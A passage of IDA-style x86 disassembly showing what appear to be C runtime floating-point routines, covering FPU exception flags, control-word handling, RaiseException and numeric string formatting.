jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_427050 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D400
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3F0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D400
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D400
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3F0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDEC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDEC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D318
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3F0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D31C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D418
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D418
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D424
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427870
fstp [ebp+var_8]
fld dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
call dword_4270A4 ; GetModuleHandleA
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4270C4 ; GetProcAddress
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D094, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE88
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D098
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D098
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; .packed:off_43D440o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE6C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE68
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
